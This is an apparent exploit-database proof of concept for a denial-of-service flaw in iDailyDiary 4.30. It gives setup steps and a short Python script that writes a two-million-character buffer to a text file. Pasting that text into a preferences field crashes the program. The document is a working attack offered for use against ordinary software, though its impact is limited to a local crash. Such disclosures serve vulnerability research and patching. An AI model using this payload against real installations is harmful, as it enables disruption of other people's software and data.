iDailyDiary 4.30 Denial Of Service

`# Exploit Title: iDailyDiary 4.30 - Denial of Service (PoC)  
# Date: 2021-05-21  
# Exploit Author: Ismael Nava  
# Vendor Homepage: https://www.splinterware.com/index.html  
# Software Link: https://www.splinterware.com/download/iddfree.exe  
# Version: 4.30  
# Tested on: Windows 10 Home x64  
  
#STEPS  
# Open the program iDailyDiary  
# Create a New Diary, put any name and check the option "Do not prompt for password", click in OK  
# In the tab "View", click in "Preferences"  
# Click in the option "Tabs"  
# Run the python exploit script, it will create a new .txt files  
# Copy the content of the file "Sotsu.txt"  
# Paste the content in the field below "Default diary tab name when creating new tabs"   
# Click in Apply  
# End :)  
  
  
buffer = 'F' * 2000000  
  
try:   
file = open("Sotsu.txt","w")  
file.write(buffer)  
file.close()  
  
print("Archive ready")  
except:  
print("Archive no ready")  
`